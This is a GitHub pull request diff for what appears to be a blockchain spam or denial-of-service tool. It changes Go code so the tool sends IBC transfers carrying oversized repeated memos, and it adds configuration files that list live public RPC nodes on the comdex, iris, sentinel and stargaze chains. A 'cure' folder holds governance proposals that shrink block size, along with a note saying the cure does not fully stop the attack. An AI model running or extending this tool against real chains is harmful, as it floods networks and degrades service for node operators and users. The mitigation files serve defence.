Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

stargaze #2

Merged
merged 2 commits into from
May 28, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1 +1 @@
seedphrase
**seedphrase
11 changes: 8 additions & 3 deletions broadcast.go
Original file line number Diff line number Diff line change
Expand Up @@ -63,14 +63,19 @@ func sendIBCTransferViaRPC(config Config, rpcEndpoint string, chainID string, se
// receiver, _ := generateRandomString()
token := sdk.NewCoin(config.Denom, sdk.NewInt(1))

memo := strings.Repeat("failure isn't fraud", 1000)
memo := strings.Repeat(config.IBCMemo, config.IBCMemoRepeat)

ibcaddr, err := generateRandomString(config)
if err != nil {
return nil, "", err
}

msg := types.NewMsgTransfer(
"transfer",
config.Channel,
token,
address,
"celestia13ln6j9u70p6r28n5zdq9a7kj98h5hjk2dtrzk7",
ibcaddr,
clienttypes.NewHeight(0, 21000000), // Adjusted timeout height
uint64(0),
memo,
Expand All @@ -88,7 +93,7 @@ func sendIBCTransferViaRPC(config Config, rpcEndpoint string, chainID string, se
txBuilder.SetGasLimit(gasLimit)

// Calculate fee based on gas limit and a fixed gas price
gasPrice := sdk.NewDecCoinFromDec(config.Denom, sdk.NewDecWithPrec(1, int64(config.Gas.Low))) // 0.1 token per gas unit
gasPrice := sdk.NewDecCoinFromDec(config.Denom, sdk.NewDecWithPrec(1, 0)) // 1 token per gas unit
feeAmount := gasPrice.Amount.MulInt64(int64(gasLimit)).RoundInt()
feecoin := sdk.NewCoin(config.Denom, feeAmount)
txBuilder.SetFeeAmount(sdk.NewCoins(feecoin))
Expand Down
34 changes: 34 additions & 0 deletions configurations/comdex/nodes.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
chain = "comdex"
channel = "channel-0"
denom = "ucmdx"
prefix = "comdex"
gas_per_byte = 10
base_gas = 100000
ibc_memo = "Informal and Strangelove say it's not a security issue"
ibc_memo_repeat = 100
rand_min = 300000
rand_max = 400000
memo = "Informal and Strangelove say it's not a security issue"

[gas]
zero = 0
low = 0
medium = 0.25
high = 0.04


[nodes]
rpc = [
"http://65.108.101.19:24557",
"http://142.132.253.13:51657",
"http://188.214.134.118:26657",
"http://62.171.182.242:56657"



]

api = "https://comdex-api.lavenderfive.com:443"



32 changes: 32 additions & 0 deletions configurations/iris/nodes.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
chain = "iris"
channel = "channel-0"
denom = "uiris"
prefix = "iaa"
gas_per_byte = 10
base_gas = 100000
ibc_memo = "Informal and Strangelove say it's not a security issue"
ibc_memo_repeat = 100
rand_min = 300000
rand_max = 400000

[gas]
zero = 0
low = 0.001
medium = 0.25
high = 0.04


[nodes]
rpc = [
"http://89.163.225.93:26657",
"http://135.181.113.227:1905",
"http://65.108.232.168:11657",
"http://46.38.232.86:30657",
"http://65.109.94.26:36609",

]

api = "https://api-irisnet-01.stakeflow.io:443"



29 changes: 29 additions & 0 deletions configurations/sentinel.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
chain = "sentinel"
channel = "channel-50"
denom = "udvpn"
prefix = "sent"
gas_per_byte = 150
base_gas = 100000
ibc-channel = "channel-0"
ibc_memo = "Informal and Strangelove say it's not a security issue"
rand_min = 300000
rand_max = 400000

[gas]
zero = 0
low = 0.1
medium = 0.25
high = 0.04


[nodes]
rpc = [
"http://207.148.0.61:26657",
"http://188.34.151.177:26657",
"http://65.108.103.184:25657",
]

api = "https://sentinel-api.polkachu.com:443"



29 changes: 29 additions & 0 deletions configurations/sentinel/nodes.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
chain = "sentinel"
channel = "channel-50"
denom = "udvpn"
prefix = "sent"
gas_per_byte = 150
base_gas = 100000
ibc_memo = "Informal and Strangelove say it's not a security issue"
ibc_memo_repeat = 500
rand_min = 300000
rand_max = 400000

[gas]
zero = 0
low = 0.1
medium = 0.25
high = 0.04


[nodes]
rpc = [
"http://207.148.0.61:26657",
"http://188.34.151.177:26657",
"http://65.108.103.184:25657",
]

api = "https://sentinel-api.polkachu.com:443"



32 changes: 32 additions & 0 deletions configurations/stargaze/nodes.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
chain = "stargaze"
channel = "channel-0"
denom = "ustars"
prefix = "stars"
gas_per_byte = 10
base_gas = 100000
ibc_memo = "Informal and Strangelove say it's not a security issue"
ibc_memo_repeat = 100
rand_min = 300000
rand_max = 400000

[gas]
zero = 0
low = 0.001
medium = 0.25
high = 0.04


[nodes]
rpc = [
"http://65.108.131.62:26657",
"http://65.109.104.74:26657",
"http://65.108.141.109:8657",
"http://65.21.134.243:26670",
"http://65.108.75.107:8657",

]

api = "https://rest.stargaze-apis.com:443"



41 changes: 41 additions & 0 deletions cure/Readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# Cures

Assaf Morami of Secret Network has provided me with an example transaction that adjusts the maximum block size by governance.

I give him huge credit. Both myself and Jehan Tremback were not aware this was possible.

## Note

This cure doesn't seem to work. While reducing block sizes dramatically reduces risk and I do recommend it to ensure that block gossip is not too impactful as a % of p2p traffic, it seems that this attack can be replicated with only mempool p2p traffic.

Still probably a good idea.


```bash
appd tx gov submit-proposal param-change ./path/to/cure.json --from key -y -b block
```

example used on Osmosis

```bash
osmosisd tx gov submit-proposal param-change cure.json --from icns --keyring-backend file --fees 2000uosmo
```



```json
{
"title": "Reduce Maximum Block Size",
"description": "This Proposal reduces the maximum block size pursuant to: https://github.com/cometbft/cometbft/security/advisories/GHSA-hq58-p9mv-338c",
"changes": [
{
"subspace": "baseapp",
"key": "BlockParams",
"value": {
"max_bytes": "1048576"
}
}
],
"deposit": "100000000uatom"
}
```
14 changes: 14 additions & 0 deletions cure/cure-sentinel.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
{
"title": "Reduce Maximum Block Size",
"description": "This Proposal reduces the maximum block size to reduce the potential impact of spam. github.com/notional-labs/placid",
"changes": [
{
"subspace": "baseapp",
"key": "BlockParams",
"value": {
"max_bytes": "1048576"
}
}
],
"deposit": "500000000000udvpn"
}
14 changes: 14 additions & 0 deletions cure/cure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
{
"title": "Reduce Maximum Block Size",
"description": "This Proposal reduces the maximum block size pursuant to: https://github.com/cometbft/cometbft/security/advisories/GHSA-hq58-p9mv-338c",
"changes": [
{
"subspace": "baseapp",
"key": "BlockParams",
"value": {
"max_bytes": "1048576"
}
}
],
"deposit": "100000000uatom"
}
14 changes: 14 additions & 0 deletions cure/sentinel/blocksize.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
{
"title": "Reduce Maximum Block Size",
"description": "This Proposal reduces the maximum block size to reduce the potential impact of spam. github.com/notional-labs/placid",
"changes": [
{
"subspace": "baseapp",
"key": "BlockParams",
"value": {
"max_bytes": "1048576"
}
}
],
"deposit": "500000000000udvpn"
}
12 changes: 12 additions & 0 deletions cure/sentinel/bytes.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
{
"title": "Increase TxSizeCostPerByte 15x",
"description": "This Proposal increases the cost of bytes to reduce the potential impact of spam. github.com/notional-labs/placid",
"changes": [
{
"subspace": "auth",
"key": "TxSizeCostPerByte",
"value": "150"
}
],
"deposit": "500000000000udvpn"
}
1 change: 1 addition & 0 deletions nodes.toml
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ denom = "udvpn"
prefix = "sent"
gas_per_byte = 150
base_gas = 100000
ibc-channel = "channel-0"
ibc_memo = "Informal and Strangelove say it's not a security issue"
rand_min = 300000
rand_max = 400000
Expand Down
19 changes: 11 additions & 8 deletions types.go
Original file line number Diff line number Diff line change
Expand Up @@ -115,14 +115,17 @@ type Fee struct {
}

type Config struct {
Chain string `toml:"chain"`
Channel string `toml:"channel"`
Prefix string `toml:"prefix"`
Bytes int `toml:"gas_per_byte"`
IBCMemo string `toml:"ibc_memo"`
BaseGas int `toml:"base_gas"`
Denom string `toml:"denom"`
Gas struct {
Chain string `toml:"chain"`
Channel string `toml:"channel"`
Prefix string `toml:"prefix"`
Bytes int `toml:"gas_per_byte"`
Memo string `toml:"memo"`
IBCMemo string `toml:"ibc_memo"`
IBCMemoRepeat int `toml:"ibc_memo_repeat"`
IBCChannel string `toml:"ibc_channel"`
BaseGas int `toml:"base_gas"`
Denom string `toml:"denom"`
Gas struct {
Zero float64 `toml:"zero"`
Low float64 `toml:"low"`
Medium float64 `toml:"medium"`
Expand Down
Loading